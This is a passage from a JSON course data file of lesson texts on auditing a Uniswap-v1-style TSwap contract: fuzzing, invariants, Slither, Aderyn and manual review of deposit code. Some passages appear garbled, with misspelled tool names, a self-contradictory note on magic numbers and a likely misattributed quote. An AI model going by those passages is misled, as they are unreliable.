was safe and no bugs were found.\n\n## Conclusion\n\nEven after successfully debugging, remember that your code is always subject to possible future errors. But now armed with the skills and patience to debug, you are better prepared to face any challenge that comes your way.\n\nStay creative and keep debugging!\n", + "updates": [] + }, + { + "lessonId": "1633a5de-6dcd-40c1-9afb-5a03f74b36e4", + "number": 26, + "title": "One Last Huzzah", + "slug": "one-last-huzzah", + "folderName": "26-one-last-huzzah", + "description": "", + "duration": 10, + "videoUrl": "AA8PgFAa02NjRytkaRt3a902XF5KfYP4yTPnhDMDN9BD4", + "rawMarkdownUrl": "/routes/security/5-tswap/26-one-last-huzzah/+page.md", + "markdownContent": "---\ntitle: One Last Huzzah\n---\n\n\n\n---\n\n# Unveiling the Power of a Stellar Stateful Fuzzing Test Suite\n\nEver experienced one of those situations when you felt like capitulating because nothing seems to work? Only to find that, against your better judgment, you gave one last attempt and everything fell into place? That's exactly the kind of journey we are about to hop on. What started as a simple methodical troubleshooting transmogrified into an exploration of the ever-useful, indispensable tool – the stateful fuzzing test suite.\n\n## EQ. X vs. Y Test Runs\n\nSometimes, when we're stuck with a challenging bug and can't seem to point out why it exists, we need to remain resolute and alter our approach. This was exactly the case when I was working with a piece of code and an assertion failed.\n\nChanging our test from X to Y and modifying the stats gave a rather perplexing output - the core invariant seemed to be breaking.\n\n## Spelunking Through the Log Files\n\nLike seasoned detectives, we read through the log files for some answers. This particular log file was teeming with `deposits` and `swaps`, a lot of balance adjustments, and, in the last section, things seemed to head south. Something was going awry in the last swap which led to an unexpected disparity between the left and right results.\n\n> \"...usually there's a lot of alpha in this last section, like what happened in this last swap, which caused this to get way out of whack because everything was fine right beforehand...\"\n\nWhile digging further into the function call in the `handler`, my attention was drawn to multiple `transfers` being emitted - one more than was expected.\n\n## Unearthing the Rogue Code\n\nUpon close inspection of these transfers, I discovered some discrepancies:\n\n1. There was an unusual `transfer` from the `TSWAP pool` to the `swapper`\n2. Subsequently, another weird `transfer `was being emitted from the `swapper` to the `TSWAP pool`\n3. Then again, there was another `transfer` from the `TSWAP pool` to the `swapper`\n\nNeedless to say, this wasn't what I was expecting. Recognizing that my stateful fuzzing tests were pointing towards a peculiarity, I decided to dive deep into the code base.\n\n## AHA - The Bug!\n\nAs I ventured into the low-level swap function, I unraveled the mystery - I discovered we'd included an extra incentive in the swap function where for every 10 swaps, an extra token is awarded to the user.\n\nThis was the heart of the issue. It was resulting in the protocol breaking because:\n\n- There was an unexpected increase in the swapper's balance\n- For any fee transfer token, the internal function would transfer excessive tokens, thus breaking the protocol invariance\n\nIt dawned upon me that the violation of the protocol invariant, in this case, the `XxY=K formula` was generating this bug.\n\n## Significance of Stateful Fuzzing tool\n\nDespite all these findings, it was the fruit of a good deal of work. Finding the code-breaking bug involved meticulous editing and testing using the stateful fuzzing tool. However, it was unequivocally worth it.\n\nManual review, despite its efficiency, can be laborious to discover all bugs. Therefore, it becomes essential to leverage automation as a means to make our jobs simpler. That's where the role of stateful fuzzing comes to the forefront. It allows us to comprehend protocol invariants on a superior level while giving us an inexpensive way of finding bugs and breaking protocols.\n\nIt's pivotal to understand how this powerful tool works, even if you're unable to grasp the complexities of the TSWEAP handler.\n\nUltimately, the ability to discover potential bugs by writing an effective test suite is an indispensable instrument in your toolkit. Once the protocol's invariance is identified and it is discovered that no tests are being run for it, it is a clear indicator that a bug lurks somewhere around. For instance, for a codebase comprising 10,000 lines of code, conducting an audit could consume abundant resources, but a stateful fuzzing test suite can accomplish the task in a day or two.\n\n## Learning and Adaptation\n\nThrough this experience, I understood that weird ERC-20s, rebase, and fee-transfer tokens can disrupt our protocols. These conditions, along with our naive incentive for swappers, can violate protocol invariance, causing a breakthrough for bugs. It underlines the importance of knowing the specifics of the tokens we are working with - their advantages, drawbacks, and the protocol invariants they obey.\n\nUltimately, establishing a protocol invariance pattern in the writing of functions or applying checks using the \"checks, effects, interactions\" paradigm can be the game-changer in reinforcing your code against bugs.\n\nIn all, spending a bit of time setting up the stateful fuzzing test suite can help you detect bugs early, maintain your invariances and ensure the code you wrote stays robust, performant, and error-free.\n", + "updates": [] + }, + { + "lessonId": "1063c7cf-05a5-4a46-80e2-d7fab3690a3a", + "number": 27, + "title": "Notes On Invariants", + "slug": "notes-on-invariants", + "folderName": "27-notes-on-invariants", + "description": "", + "duration": 4, + "videoUrl": "O8RK1gGeIBoX1b01gR3M008uMhVW2mT01BnXL1NN00urwsg", + "rawMarkdownUrl": "/routes/security/5-tswap/27-notes-on-invariants/+page.md", + "markdownContent": "---\ntitle: Notes on Invariants and other Types of Tests\n---\n\n_Follow along with the video:_\n\n\n\n---\n\n# Welcome to the World of Invariants and Fuzzing Tools\n\nHi all! We've been on quite a journey together, haven't we? We've had our brains whipped into a frenzy learning how to effectively use fuzzing tools and, yes, there were certainly times when we delved into confusing territories. However, we also learned how these powerful tools can help us discover and break invariants, quickly identifying issues in protocols. In this post, we'll build upon these foundational skills, diving deeper into an exploration of ERC20s, core invariants, and much more!\n\n## Unraveling the Mysteries of ERC20s\n\nThe world of ERC20s can often seem daunting and puzzling, but do not fret, we're here to unravel its mysteries. We have only just scratched the surface of understanding these tokens in our sessions, but expect to see more of them popping up as we progress through our course.\n\n## Defining Core Invariants and Breaking Them Down\n\nEqually important to our exploration are, of course, core invariants. These are rules that remain unaffected regardless of the system state. Now, if you're still scratching your head over the term \"freepy\" (or CEI, as others might call it), think of it as a practice of implementing pre and post-checks to uphold certain invariants.\n\nTo illustrate this, let's look at two protocols - Uniswap and Euler. The former has an intact core invariant embedded within its codebase; the Euler protocol, unfortunately, does not. This lack of an invariant was a significant contributor to the much-talked-about Euler hack that happened recently.\n\n## Exploring Different Testing Tools and Approaches\n\nWhile our journey has already spanned areas of forge fuzzing, stateful fuzzing, and invariants, there are still a few facets we're yet to traverse. Say, for example, `Echidna`. In case you're unfamiliar with it – it's a powerful fuzzing tool that pairs excellently with Foundry Fuzzing Consensus's paid tool.\n\nMutation and differential testing, on the other hand, didn't make the cut for our workshop, so we will discuss them briefly here.\n\n> Mutation testing involves modifying parts of the code to evaluate if these changes break any existing tests.\n\nLet's turn to the git repo attached to this tutorial for reference. Under `audit_data`, you'll find a 'test' folder with a note about differential testing. Also, there is a differential folder where you can perform fuzz testing against the output of `uniswap`.\n\nFor mutation testing, imagine altering `Tswappool.sol` in various ways, such as deleting a line, swapping out math, or changing a greater-than operator to a less-than. The objective here is to ensure your tests catch these errors.\n\nThrough this practice, you can evaluate the effectiveness of your testing framework. While we didn't perform any mutation testing in our session, it's a valuable tool you should consider implementing.\n\n## Driving the ‘Solodit' Train\n\nWe're gearing up to dive into `Solodit` in the upcoming sessions. With `Solodit`, we can learn from historical findings, uncovering a wealth of insights from the peculiarities of ERC-20s to the importance of preserving invariants.\n\nParsing through the archives of `Solodit`, you'll discover numerous examples of how weird ERC-20s have caused problems. Try a simple search for 'invariants' on Solodit, and you'll unearth a treasure trove of invariant findings, spelling out a wealth of knowledge and learning opportunities.\n\n## Wrapping It Up!\n\nTo sum up, we've done a ton of work together; we've navigated unchartered territories, explored protocols, learned about testing and more. On this journey, we've embraced the weirdness of ERC20s, the intriguing world of invariants, and a handful of robust testing tools.\n\nStay tuned for more exciting stuff coming your way! Remember, we're learning together, we're growing together, and, most importantly - we're making the future of protocols safer, together. Until next time, happy learning!\n", + "updates": [] + }, + { + "lessonId": "413b0bcc-889f-4c1c-a23e-07cda2063929", + "number": 28, + "title": "Recon: Manual Review Introduction", + "slug": "recon-manual-review-introduction", + "folderName": "28-recon-manual-review-introduction", + "description": "", + "duration": 2, + "videoUrl": "ilK5K02h00Z3aDKoX02B018ZtF2s9AfC1oOYbKHhf00SKtDM", + "rawMarkdownUrl": "/routes/security/5-tswap/28-recon-manual-review-introduction/+page.md", + "markdownContent": "---\ntitle: Recon Manual Review Introduction\n---\n\n\n\n---\n\n# Manual Review of TSwap Pool: A Deep Dive\n\nHey, awesome reader! Welcome back to the blog. In the previous posts, we've talked all about tools, code inspections, and automated reviews. However, there's one aspect that invariably remains at the core of the process - the manual review. So, let's grab a cup of coffee and plunge together into the manual review of the TSwap pool!\n\n## The Unreplaceable Manual Review\n\nHere's the thing about manual reviews. This bad boy can find bugs that no static analyzers, no automated systems, and no testing suites can.\n\n> Remember, never underestimate the power of the human eye when it comes to code.\n\nEvery line of code is a potential pitfall and the manual review is our best chance at spotting those tricky bugs that can slip through all those automated testing suites. Yeah, we've come a long way with our tooling approach. But, nothing, I repeat **nothing**, replaces the manual review.\n\n## The Saga of the Under_Swap\n\nLet's recount a bit of our journey. We've written a port, we've had some type of high, and we have the curious case of the `under_swap` that breaks invariants. Yes, we spotted the issue with our fuzzing test suite. So, kudos to us!\n\nBut let's not stop at that, shall we? There could be an entire universe of other issues lurking in the code base. Sure, we could write more tests, more automated checks, more everything. But, we've reached the point where it's time to dig in with our manual review.\n\nRemember,\n\n> Automation is great, but manual code review is the secret sauce that makes everything click!\n\nSo, are you ready to walk through the code base with me?\n\n## Prepping Up For The Manual Review\n\nBefore we dive in, make sure you're comfortable. Have a cuppa joe if that's your jam. Maybe take a break if you haven't yet. Because we're going on a bug hunt! It's not just about spotting the bugs. It's about understanding why they happened. It's about writing down our findings and submitting the report. It's about replaying the process again and again.\n\n> Remember, repetition is the mother of skill.\n\nYou might be thinking, \"Patrick, buddy, this is so boring! Do we really have to...?\" Yes, you do! This is exactly what you need to become a better developer, a better tester, a better debugger. It's the detail, the persistence, the grit that turns you from a coder into a **code warrior**.\n\n## Performing the Manual Review\n\nAlright, it's time for the main event. Let's roll our sleeves up, put our debug glasses on, and let’s do the manual review.\n\n# Wrapping up the Manual Review\n\nIn the manual review, we'll be going through the codebase, and document our findings. You're not alone and we will be doing this together. In the later sections, we can be a bit more breezy. But right now, this is where the magic happens. Write the report with me. This is your story. Your journey into the bowels of the codebase. The monsters you fought, the bugs you squished.\n\n# Conclusion\n\nSo, what are you waiting for? Let's get cracking! This is gonna be an exciting journey! Stay tuned for our next blog post where we'll be sharing insights from our manual review, documenting our process and achieving our goals step by step, bug by bug. Remember,\n\n> The best way to find your skills is to lose yourself in the code.\n", + "updates": [] + }, + { + "lessonId": "2a1b2266-87e2-4546-a62d-6e495dc424d3", + "number": 29, + "title": "Slither", + "slug": "t-swap-manual-review-slither", + "folderName": "29-t-swap-manual-review-slither", + "description": "", + "duration": 2, + "videoUrl": "E101UChmT02NMDb1SquvieKmJKSnMZ2PNizDfc2fvMgGo", + "rawMarkdownUrl": "/routes/security/5-tswap/29-t-swap-manual-review-slither/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review Slither\n---\n\n\n\n---\n\n# An In-Depth Guide to Manual Review in Solidity\n\nIn this blog post, we'll be taking a deep dive into the process of manual review in Solidity. We'll be using a comprehensive set of tools including Make Slither and Solidity itself to conduct our review.\n\nBefore we jump into this, it's vital that we kick start the process by running our review tools.\n\n> _For context, our group has a well-configured Slither that's ready to use, in addition to a Makefile with Make Slither, which also looks pretty good._\n\n### Analyzing Slither's Output\n\nWalking through the console output, we find mentions of potentially uninitialized variables. The Pool Factory, s_pools, and s_tokens are flagged by Slither as never being initialized.\n\nIn the lines regarding Pool Factory and useContext functions, there are mentions of methods like `createPool` and `getPool`. It seems like the `S_Pools` and `S_Tokens` data mappings are not getting initialized. Let’s delve deeper into this.\n\nAlthough these data mappings trigger an error, it's unlikely to be a major issue. The error arises because Slither expects that our `S_Pools` mapping could be empty at some point and we're performing checks on it. However, this behavior is fine and exactly what we want.\n\nThe same applies to `S_Tokens`.\n\n> **Key point:** A useful feature of Solidity is that querying a mapping for a non-existent element returns a zero value, not an error.\\*\n\n### Identifying Potential Issues\n\nThe console output also flags a missing zero check - something that could lead to problems. We're not performing a zero address check in our constructor, which is not ideal.\n\n```javascript\nconstructor(address _token) public {\n require(_token != address(0));\n token = Token(_token);\n}\n```\n\nSo, an important note in your audit should be the lack of a zero address check in the constructor. Fortunately, Slither has already proven to be quite useful in finding potential issues.\n\n### Dealing with Reentrancy\n\nTowards the end of Slither's report, we're alerted to a potential reentrancy in the `T_SWAP pool swap` function.\n\n![](https://cdn.videotap.com/1Zwcjq5wz3Hy0mGdOPrV-83.14.png)\n\nWhile this function prompt is green (indicating it's not necessarily a problem), we need to understand the scenario better to evaluate its implication fully. Browsing through contract interactions and function call patterns can help us figure out if this is a legitimate reentrancy issue or a false positive.\n\nFinally, Slither alerts that different versions of Solidity are being used. Not an ideal situation, but not critical either, particularly if the primary working versions are intact. But hey, thanks for the heads-up, Slither.\n\n### Wrapping Up\n\nAll things considered, using tools like Slither for a manual review of Solidity code can reveal potential, and sometimes subtle, issues. Leveraging these tools creates a smoother and more efficient analysis process. Stay curious, stay alert, and keep probing. Your diligence will pay off in the form of solid, bug-free, and highly secure code.\n", + "updates": [] + }, + { + "lessonId": "745dc32d-27a5-4ac4-9d49-43bcf15e78c8", + "number": 30, + "title": "Aderyn", + "slug": "manual-review-aderyn", + "folderName": "30-manual-review-aderyn", + "description": "", + "duration": 2, + "videoUrl": "7VCF3MufhYfxh02xhSjgRo7rnV0202nfw02jzTF200aUY9N8", + "rawMarkdownUrl": "/routes/security/5-tswap/30-manual-review-aderyn/+page.md", + "markdownContent": "---\ntitle: Manual Review Aderyn\n---\n\n_Follow along with the video:_\n\n\n\n---\n\n# Introducing the New Version of Aderyn, an Essential Audit Tool\n\nHello, code enthusiasts! Today, I'm going to do a quick run through a unique code auditing tool: Aderyn. Since I've started filming, we've been doing incredible stuff with the script, and there's a lot to share with you! The tool has recently undergone some upgrades, and in this post, we'll be checking out what we can do with the updated version of Aderyn. Let's dive in!\n\n## Installing Aderyn and First Run\n\nAs the first step, I went on to update Aderyn using `cargo install Adarin`. This installs the new version for us. With this modification, you can perform a quick audit just by executing the command `aderyn a` - simple but powerful. Still, an old method, `Aderyn`, works just fine if you're comfortable with it.\n\n## The Audit Report: Understanding the Issues\n\nOn opening the `report.md`, you'll notice a list of issues. Most of these are NC (Non-Crit) issues. These aren't crucial, but addressing them can improve your code's performance and readability.\n\n#### Unused Internals\n\nMy Aderyn installation flagged some functions that are not used internally. So, marking them as `external` would be ideal, like the TSWAP pool line 307 issue. The piece of code here isn't used internally, marking it public is a waste of gas.\n\n```bash\n@audit info, this should be external\n```\n\n#### The Literals vs Constants Debate\n\nAderyn pointed out another common issue - the use of literals instead of constants on TSWAP pool line 303. Essentially, magic numbers should not be just literals - they should be defined as constants.\n\n```bash\n@audit info magic numbers. These should not be defined as constants.\n```\n\n### The Index Field Dilemma\n\nWe also stumbled onto an 'event missing index fields' on TSWAP pool line 62. Now, this is a tricky one. While many people prefer having events indexed, I belong to the group that believes in fewer indexed fields. Therefore:\n\n```bash\n@audit info. Three. Events should be indexed if there are more than three params.\n```\n\nRemember, this is more subjective and up to your coding preferences.\n\nBut we've done quite well so far with the audit, discovering issues and remedying them with Aderyn.\n\n## Wrap Up: The Power of Automated Code Auditing\n\nThe beauty of having an automated script like Aderyn lies in its ability to uncover even the minutest issues which could otherwise be overlooked. Even though some of us might prefer manual code reviews, tools like Aderyn offer a great starting point for clean, optimized code.\n\nThis hands-on auditing process can be a fun, engaging way to discover new improvements, ensuring your code performs better and is more maintainable.\n\n> Remember, quality isn't an act, it's a habit.\n\nOn those wise words from Aristotle, let's wrap up and get back to more code improvements in our next post. Happy coding until then!\n", + "updates": [] + }, + { + "lessonId": "044e8cae-6cec-4e70-a27c-c595969403af", + "number": 31, + "title": "Pool Factory", + "slug": "pool-factory", + "folderName": "31-pool-factory", + "description": "", + "duration": 6, + "videoUrl": "qLPEwquLPE8IyA00d00ksftrLHwenhkfs1Q6N1gkGOaDE", + "rawMarkdownUrl": "/routes/security/5-tswap/31-pool-factory/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review PoolFactory\n---\n\n\n\n---\n\n# A Deep Dive into Smart Contracts: Unraveling Pool Factory and TSWAP Pool\n\nIn this post, we're exploring the Tincho methodology of reviewing smart contracts, through which we'll address an audit of two solidity contracts: pool factory and TSWAP pool. For those new to the land of contracts and Solidity, don't worry! We'll break things down in an accessible way.\n\n## Spot the Import: Pool Factory\n\n![](https://cdn.videotap.com/rzbl0Otqs4FSU2qtnoIs-26.08.png)\n\nInitially, the pool factory has a couple of imports. The interesting one is the IERC 20 forged import. Although the forge interface isn't something I heavily engage with, it catches my eye and is worth deeper exploration some other time. Apart from the IERC 20, we have the import for our second character today– TSWAP pool.\n\nThe pool factory is the infrastructure of this system because it deploys and launches the pools. In simple terms, it's the bedrock on which every pool stands.\n\nUpon reviewing, we encounter two error messages - \"Pool already exists\" and \"Pool does not exist.\" These are indicative of conditions for pool creation.\n\n```javascript\nif (poolExists) {\n revert(\"Pool already exists\");\n}\n```\n\nThe contract checks if a pool already exists during creation, thus preventing any duplications.\n\n## The First Bug\n\nOn further delving, it appears the second error message is not used anywhere. This was discovered after a quick code audit. This is our first discovery of a bug - a redundant error message that can be expunged from the code. This certainly won't make or break the system but highlights the fact that some cleaning up and code review could be beneficial.\n\n## Deciphering the Mappings\n\nThere are a couple of private mappings - `tokenTopool` and `poolTotoken`. They allow backward and forward retrieval of pool-token associations. The WETH token is immutable as it pairs with every token.\n\nAmong events, the `poolCreated` is noticeable and appears to be the main event.\n\nConcerning the external functions, `createPool` takes the spotlight as the major function.\n\n## Event Details and Function Understanding\n\nWe've added an informational constructor setting the WETH token and now we can deep delve into the `createPool` function which stands out as the key player here.\n\nThe `createPool` function gets a token address that is mapped to the WETH, forming a token-pool pair. If a pool with this token address is tried to be created again, the system will revert with the error message that the pool already exists.\n\nFurthermore, this function also encompasses the naming logic for the pools.\n\nThe system is retrieving the name of the ERC 20 token and appending it to the word \"TSWAP\" to name the liquidity token. The liquidity token represents the shares of the token given to the LPs (Liquidity Providers).\n\nApart from the naming convention, it's also noteworthy to point out the symbol logic –\n\nTo improve user experience, we suggest the token symbol to be used instead of the full token name to avoid unnecessarily lengthy symbols.\n\n## Analyzing Pool Sub-Creation\n\nNext, we initiate pool sub-creation with the respective pool token, WETH token, and the newly created symbol and name.\n\nOn successful pool creation, we add the pool to our list, map it back, emit an event, and finally, return the address of the new pool.\n\n## So... How's The Pool Factory Looking?\n\nFollowing our analysis, the pool factory contract seems to be well-structured, with only a few informational findings on the radar. It is certainly worth a checkmark in the `notes.md`.\n\n```markdown\n- [x] Pool Factory : Looks Good\n```\n\nIn our next chapter, we'll proceed to the TSWAP pool and continue breaking it down. Stay tuned for more straightforward smart contract analysis!\n", + "updates": [] + }, + { + "lessonId": "df6d9679-5824-4702-9984-c2b97153e180", + "number": 32, + "title": "Manual Review: Swap Pool", + "slug": "manual-review-swap-pool", + "folderName": "32-manual-review-swap-pool", + "description": "", + "duration": 3, + "videoUrl": "hFYrteG2NK6Ti1gGz02qYPjlLpqY1RFMzIjd5AHMV3aI", + "rawMarkdownUrl": "/routes/security/5-tswap/32-manual-review-swap-pool/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool\n---\n\n\n\n---\n\n# Dissecting Uniswap v1 and TSWAP - An In-Depth Security Review\n\nWelcome to this thrilling exploration of the TSWAP pool which gets us to the heart of Uniswap v1. By the end of this piece, you will have an in-depth understanding of Uniswap in its most rudimentary form. Let's delve right into the Uniswap TSWAP pool code and grasp what makes it tick.\n\n## TSWAP in High-Level Review\n\nContrary to what one might expect, the TSWAP pool codebase is impressively user-friendly. Not only is it detailed and transparent, but it is also an ERC20 token, which rings a bell for most blockchain enthusiasts. Being a liquidity token, this characteristic intuitively aligns with its purpose.\n\n## The Safe ERC20 Library\n\nAn additional feature that gives the TSWAP an edge is the usage of the Safe ERC20 library. The primary function of this library is to safely transfer from accounts.\n\nThe Safe ERC20 library comes in handy as a shield against some of the abnormal (and occasionally detrimental) ERC20 occurrences that we might encounter in the later stages of this article.\n\n## Immutable State Variables in TSWAP\n\nTSWAP comes packed with some immutable state variables, such as `Iweth token` and `pool token`, which make perfect sense considering the nature of smart contracts.\n\nEvery contract is bound to have at least two tokens, and these variables stand as unwavering constants for these tokens.\n\n## The WETH Liquidity Feature\n\nAnother intriguing aspect of TSWAP is the WETH liquidity feature, a concept we gleaned from the invariant test suite. If you want to deposit WETH, you have to deposit at least a specific amount known as the WETH liquidity.\n\nOf course, the question that follows is whether this hard-coded determinant is too high, or whether there's a chance something unusual could be going on here.\n\n> \"With coding, it's crucial not to take anything at face value.\"\n\n## Swap Count and Swap Count Max\n\nNext up on our review is the rather peculiar `swap count` and `swap count max`. Their existence can be attributed to an issue we discovered during our stateful fuzzing test suite. From the anomaly, we observed a quirky operation where the protocol gives out extra money after every ten swaps. This random and seemingly unnecessary function seems to break the protocol's expected behavior.\n\n## About Events and Modifiers\n\nTSWAP presents several events that we already have some audit notes about. It also includes modifiers such as `revert if deadline passes` and `revert if zero`. After analyzing these in detail, it is clear that these functions are named aptly.\n\nThe `revert if deadline passes` function reverts if the deadline is less than the current timestamp, which makes perfect sense.\n\nSimilarly, `revert if zero` checks if the account balance is Zero. If it is, the function reverts.\n\n## The Role of the Constructor\n\nLastly, it's worth revisiting the constructor where it may be valuable to add some audit information.\n\nThere's a check for a zero address, but this isn't a pressing issue. For naming conventions, the token names in the constructor seem pretty straightforward.\n\nThis blog post is a deep dive into the codebase of TSWAP. Understanding the dynamics of this liquidity token can inform the design and understanding of other pools within the DeFi ecosystem.\n", + "updates": [] + }, + { + "lessonId": "0ffde298-59c3-420d-830d-ab01703ad521", + "number": 33, + "title": "Using The Compiler As Static Analysis Tool", + "slug": "using-the-compiler-as-static-analysis-tool", + "folderName": "33-using-the-compiler-as-static-analysis-tool", + "description": "", + "duration": 6, + "videoUrl": "npVMXIL02YMej5rtRqVW7PoUXjI5Ba01ALmpqrXtulx6I", + "rawMarkdownUrl": "/routes/security/5-tswap/33-using-the-compiler-as-static-analysis-tool/+page.md", + "markdownContent": "---\ntitle: Using the Compiler as Static Analysis Tool\n---\n\n\n\n---\n\n# Diving into Liquidity Addition and Removal Functions\n\nToday, we're delving into the crux of adding and removing liquidity in cryptocurrency pool systems. We'll take a look at the deposit function code from a fictional cryptographic liquidity pool project.\n\nFor those following along, let's do a simple `toggle word wrap` in your favorite code editor so you can view the code more efficiently. If you need the code, you can find it in the associated GitHub repository within the `audit data` folder.\n\n## The Deposit Function\n\n![](https://cdn.videotap.com/86AjU9W56rzzt6USwvmh-25.png)In the relevant code we've got, we run into aspects related to liquidity providers. The deposit function revolves around the liquidity providers' actions in the pool system.\n\nLooking at the function, you'll notice it calls for a certain amount of `wes` (Wrapped Ether). Following the liquidity pool model, when a user deposits funds, they're given liquidity tokens in return. These tokens represent the user's share in the pool.\n\n### Delving Into the Parameters\n\nThere are's an array of parameters involved in the function. Let's break down a few significant ones:\n\n- The `minimum liquidity tokens to mint`: This parameter signifies the quantity of liquidity tokens created, derived from the amount of `wes` the user deposits. However, there's a minimum limit to ensure the user is aware of what they will receive.\n- `Maximum pool tokens to deposit`: Mirroring the earlier parameter, this signifies the maximum number of pool tokens the user is prepared to deposit. This value again is derived from the deposited `wes`, allowing users to gauge how much USDC they should contribute to the liquidity pool.\n- `Deadline`: VC Code gives us a heads up here with the `Unused function parameter`, warning. Surprise! The deadline parameter isn't implemented in this function. Herein lies a potential bug we'll delve into shortly.\n\n## Analyzing the Bug\n\nThe unused `deadline parameter` seems small at first, but it becomes a severe issue upon closer inspection. The deadline parameter is meant to determine when a transaction needs to be completed. If it's unimplemented, the deadline set by a depositor could pass without stopping the transaction, causing unexpected actions on the part of the user.\n\nThis high impact, high likelihood bug results in deposits proceeding when they're expected to fail – a clear and severe disruption to functionality.\n\n```markdown\n# Audit Finding: High\n\n# Impact: High, Severe disruption of functionality\n\n# Likelihood: High, Deadline is ignored, leading to transacions being processed beyond the stipulated deadline.\n```\n\n### Unveiling More Bugs\n\nCloser analysis of compiler warnings revealed two other interesting bugs.\n\nThis bug crops up in our deposit function where `pool token reserves` is ignored. The ignored reserves could have been used to do some internal calculations. It seems the developers started some math, then decided to use a function instead, resulting in ignored variables and wasted gas.\n\n```markdown\n# Audit Finding:\n\n InfoIssue: line of code declaring `pool token reserves` is not used, leading to gas wastage.\n```\n\n- `Unused Function Parameter: Swap Exact Input`\n\nIn this function, an unused `output` parameter shows up, which isn't a major red flag. The impact here seems low since this function seems to only be used externally and this output might not be used elsewhere in the project. The only issue is the return of 0 where it could be another value that might be more meaningful. However, this impact could be more if it's being used elsewhere.\n\n```markdown\n# Audit Finding:\n\n LowIssue: The `output` parameter returns zero and is never used, which might not accurate reflect the output value.\n Likelihood: High, always the case. But overall impact is low.\n```\n\nIn conclusion, running a simple compiler check helped us discover several notable bugs. A key takeaway for developers here is the value of regularly checking for and resolving compiler warnings. Time to go ahead and patch up these issues before they turn into severe problems!\n\nStay tuned for more explorations into cryptocurrency programming and keep those bugs at bay!\n", + "updates": [] + }, + { + "lessonId": "304981cc-4718-42ed-b1cd-b4231cfe923e", + "number": 34, + "title": "Add Liquidity", + "slug": "add-liquidity", + "folderName": "34-add-liquidity", + "description": "", + "duration": 8, + "videoUrl": "lK3301uIz7lGHC3ISga4hKnYeqeGElaeygFTOI501dRIE", + "rawMarkdownUrl": "/routes/security/5-tswap/34-add-liquidity/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - Add Liquidity\n---\n\n\n\n---\n\n# Deep Dive into Cryptocurrency Smart Contract Deposits\n\nIn today's post, we're going to perform a deep-dive into the world of cryptocurrency smart contracts, specifically focusing on the deposit function. We'll be performing a detailed audit of a contract and identifying potential flaws.\n\nWe'll start off with the deposit function and eventually move our way down to analyze all aspects of the contract line-by-line. So, let's dive in!\n\n## Analysing the Deposit Function\n\nLet's take the state of the contract where we're trying to determine how much should be deposited.\n\nIf `WETH` is zero in the contract, we encounter a scenario where it reverts. We also have a condition where if the `WETH` deposit is less than a minimum defined _WETH liquidity deposit_; again a revert scenario.\n\nAnother thing to note is that we probably don't need the emission of the minimum `WETH` because it is, in a sense, redundant. It would be more effective as _audit info_. To put it simply, any user could look up the contract and see what the minimum `WETH` value is.\n\nNext, there are two potential scenarios that initiate heating up the deposit function. These are:\n\n1. If it's a user's first deposit (also called the initial funding of the protocol)\n2. If the user has already deposited\n\n## Exploring Internal Functions\n\nWithin the deposit function, it looks like it's calling an internal function, so let's go and check what that does.\n\nHere, we interpret `weth_to_deposit` as the amount of `WETH` a user is going to deposit, `pool_tokens_to_deposit` as the number of pool tokens they're going to deposit, and `liquidity_tokens_to_mint` as the number of liquidity tokens they're planning to mint.\n\nGiven it's a sensitive function, it's marked private, meaning it can only be invoked within the contract. Inside this function, it seems like we mint the amount of `liquidity_tokens_to_mint` to the `msg.sender`.\n\nThere's also an event trigger called `Liquidity Added`. However, a closer look reveals an audit issue as the parameters are in the wrong order.\n\n```js\nemit LiquidityAdded(msg.sender, pool_tokens, WETH)\n```\n\nThe correct code should look like this:\n\n```js\nemit LiquidityAdded(msg.sender, WETH, pool_tokens)\n```\n\n> Always make sure to check if the events are correctly emitted with the right parameters. This kind of mistake is not a high risk but it's important to avoid confusion.\n\n## Checks and Interactions\n\nAfter validating the event, we conduct some checks and interactions. It's good to see the external transactions happening towards the end of the function, which adheres to the Checks-Effects-Interactions (CEI) pattern.\n\nThe next steps include transferring the tokens from the `msg.sender` to the smart contract, and then updating the state variable `LiquidityTokensMinted`.\n\n```code\ntransferFrom(msg.sender, address(this), ...);...liquidityTokensMinted = weth_to_deposit;\n```\n\nIdeally, we would want to follow the Checks-Effects-Interactions paradigm regularly to streamline the function operations.\n\n## Updating Liquidity and Deposit Checks\n\nOnce the contract is warmed up and receiving liquidity, it's time to perform some checks and balances.\n\nFirst, we crunch the numbers on how many pool tokens should be deposited based on the `WETH` balance. If we calculate too many pool tokens to deposit, the function reverts.\n\nNext, similar checks are performed for liquidity. If the calculated `LiquidityTokensToMint` is less than the minimum, the function again reverts.\n\nAnd voila! If everything goes well, the deposit function works smoothly.\n\n## Concluding Thoughts\n\nWhile auditing a smart contract, thoroughness is essential. The deposit function in our example had a high-severity issue where the deadline was being ignored, but function-wise, it looked solid.\n\nRemember, the aim is always to leave notes with our thoughts anywhere possible and follow up at a later stage if doubt persists.\n\nJoin me in the next blog post as we examine the `addLiquidityMintAndTransfer` function!\n", + "updates": [] + }, + { + "lessonId": "5463ab36-f44b-4399-99aa-2504d0b3a9f5", + "number": 35, + "title": "Remove Liquidity", + "slug": "remove-liquidity", + "folderName": "35-remove-liquidity", + "description": "", + "duration": 8, + "videoUrl": "PpfW7RKBVaMN3veF6drxOw6f4x5aew02AptDAJjYwwu4", + "rawMarkdownUrl": "/routes/security/5-tswap/35-remove-liquidity/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - Remove Liquidity\n---\n\n\n\n---\n\n# Understanding the Liquidity Withdrawal Process of the TWSAP Protocol\n\nHaving covered the deposit process in TWSAP protocol pools, we're going to look at the other side of the equation - the **withdrawal process**. This is equal to removing the liquidity from the pool as demonstrated in the diagram below,\n\n![](https://cdn.videotap.com/IWZarXmiBGXntt9p7Y16-13.14.png)\n\nFundamentally, we are going to burn LP tokens in exchange for the underlying money. In other words, the liquidity tokens used in the pool are destroyed to get the invested capital back out.\n\n## Understanding Key Concepts\n\nLet's break down some key concepts:\n\n1. **Liquidity tokens to burn:** This refers to the number of liquidity tokens that a user wants to burn. The user gives their LP tokens and in return, they receive their money.\n2. **Minimum WETH:** This is the minimum amount of WETH the user is expecting to withdraw.\n3. **Minimum pool tokens:** These are the pool tokens that a user wishes to withdraw.\n4. **Deadline:** This is the timeframe the user sets for the withdrawal.\n\nAt first glance, these might seem like strange terms but their true value will become more significant when we touch on miner extractable value (MEV) later in the course.\n\nAfter digesting these concepts, we check for the withdrawal deadline. In the code, there is an `if` condition which 